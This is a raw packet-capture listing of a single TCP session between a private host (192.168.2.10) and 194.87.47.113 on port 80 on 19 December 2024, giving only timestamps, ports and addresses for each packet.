Dec 19, 2024 08:21:21.001519918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.001585960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.001629114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.013580084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.013673067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.013803005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.013976097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.014143944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.014180899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.014801979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.014936924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.014983892 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.015575886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.015857935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.015959024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.015964985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.016844988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.016922951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.016946077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.017467976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.017512083 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.017580032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.018280983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.018331051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.018382072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.019087076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.019133091 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.019179106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.019867897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.019905090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.019977093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.020910025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.020921946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.020958900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.034929991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.034985065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.035007954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.035120964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.035159111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.035171986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.035929918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.036071062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.036115885 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.036696911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.036740065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.036814928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.037548065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.037628889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.037672043 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.038372040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.038412094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.038631916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.039180994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.039222956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.039275885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.039908886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.039957047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.056422949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.056570053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.056622028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.056828976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.056929111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.057051897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.057594061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.057707071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.057749987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.058412075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.058578968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.058624983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.059165001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.059269905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.059310913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.059973955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.060033083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.060111046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.060866117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.060965061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.061019897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.061583042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.061697960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.061748028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.062395096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.062544107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.062591076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.063441038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.063522100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.063563108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.064043999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.064153910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.064210892 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.064843893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.064883947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.064944983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.065644979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.065731049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.065777063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.066520929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.066613913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.066663980 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.067230940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.067362070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.067397118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.068053007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.068203926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.068835974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.068871021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.069040060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.069070101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.069665909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.069751024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.069861889 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.070441008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.070780039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.070821047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.071290970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.071468115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.071573019 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.072055101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.072160959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.072201967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.072989941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.073013067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.073208094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.073725939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.073779106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.073930979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.074448109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.122621059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.145361900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.145423889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.145514011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.145709991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.145860910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.147566080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.147583008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.147634983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.149172068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.149373055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.153652906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.153776884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.153836012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.154032946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.154078007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.154143095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.154846907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.154884100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.154972076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.155646086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.155704975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.188978910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.189035892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.189130068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.189280987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.189341068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.189393044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.190032005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.190346003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.190401077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.190488100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.191164017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.191261053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.191329002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.191955090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.192009926 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.192069054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.192727089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.192846060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.192899942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.193506956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.194174051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.206285000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.206335068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.206545115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.206598043 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.206717968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.206758976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.207367897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.207536936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.208348036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.208399057 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.208507061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.208544970 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.209039927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.209057093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.209140062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.209707975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.209857941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.210197926 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.210613012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.210627079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.211429119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.211452961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.211476088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.211510897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.211787939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.211899996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.211939096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.212572098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.212692976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.212904930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.227628946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.227803946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.228084087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.228106976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.228141069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.228163004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.228420973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.229203939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.229216099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.229258060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.229528904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.229568005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.229613066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.230369091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.230432034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.230473042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.231168032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.231218100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.231304884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.231967926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.232384920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.248550892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.248662949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.248884916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.248907089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.249048948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.249106884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.249732018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.249775887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.249870062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.250638008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.250927925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.250968933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.251473904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.251564026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.251667976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.252130032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.252300978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.252504110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.252974987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.253258944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.253293991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.253813028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.253878117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.253928900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.254539013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.254687071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.254837036 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.255373955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.255490065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.255547047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.256220102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.256252050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.256293058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.256974936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.257075071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.257164955 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.257791042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.257940054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.258585930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.258631945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.258728981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.258764029 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.259416103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.259480000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.259716034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.260348082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.260468960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.261068106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.261110067 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.261152029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.261184931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.261814117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.261902094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.262487888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.262751102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.262788057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.262829065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.263420105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.263614893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.263662100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.264221907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.264357090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.264400005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.265083075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.265185118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.265307903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.265877008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.266213894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.266323090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.266669989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.310132027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.337630987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.337723970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.337807894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.337846994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.337861061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.337894917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.338525057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.338648081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.338686943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.339344978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.339406967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.339487076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.345911980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.346019983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.346393108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.346430063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.346477032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.346997023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.347057104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.347153902 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.347754955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.381144047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.381161928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.381202936 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.381479979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.381494045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.381516933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.382249117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.382285118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.382617950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.382632017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.382669926 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.383481979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.383497953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.383538961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.384263992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.384277105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.384319067 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.384984016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.384998083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.385055065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.385795116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.398088932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.398106098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.398154020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.398422003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.398437023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.398458958 CET	49720	80	192.168.2.10	194.87.47.113
